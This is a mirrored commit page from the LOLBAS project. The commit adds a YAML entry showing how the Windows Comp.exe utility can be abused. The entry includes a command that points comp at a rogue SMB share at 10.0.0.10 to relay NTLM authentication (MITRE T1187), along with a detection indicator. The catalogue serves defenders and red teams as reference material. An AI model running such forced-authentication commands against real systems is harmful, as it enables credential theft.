mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-27 07:18:05 +01:00
Update Comp.yml
This commit is contained in:
parent
a78e066441
commit
d61d79b7c5
@ -1 +1,25 @@
|
||||
|
||||
---
|
||||
Name: Comp.exe
|
||||
Description: Used to compares the contents of two files or sets of files byte-by-byte
|
||||
Author: 'Kousha Zanjani'
|
||||
Created: 2024-02-13
|
||||
Commands:
|
||||
- Command: comp /M \\10.0.0.10\ fake.txt
|
||||
Description: Tries to compare a file from rogue SMB Share with a fake.txt file
|
||||
Usecase: Relay a NTLM authentication
|
||||
Category: Credentials
|
||||
Privileges: User
|
||||
MitreID: T1187
|
||||
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
||||
Full_Path:
|
||||
- Path: C:\Windows\System32\comp.exe
|
||||
- Path: C:\Windows\SysWOW64\comp.exe
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- IOC: comp.exe retrieving files from remote server
|
||||
Resources:
|
||||
- Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp
|
||||
Acknowledgement:
|
||||
- Person: Kousha Zanjani
|
||||
Handle:
|
||||
|
Loading…
Reference in New Issue
Block a user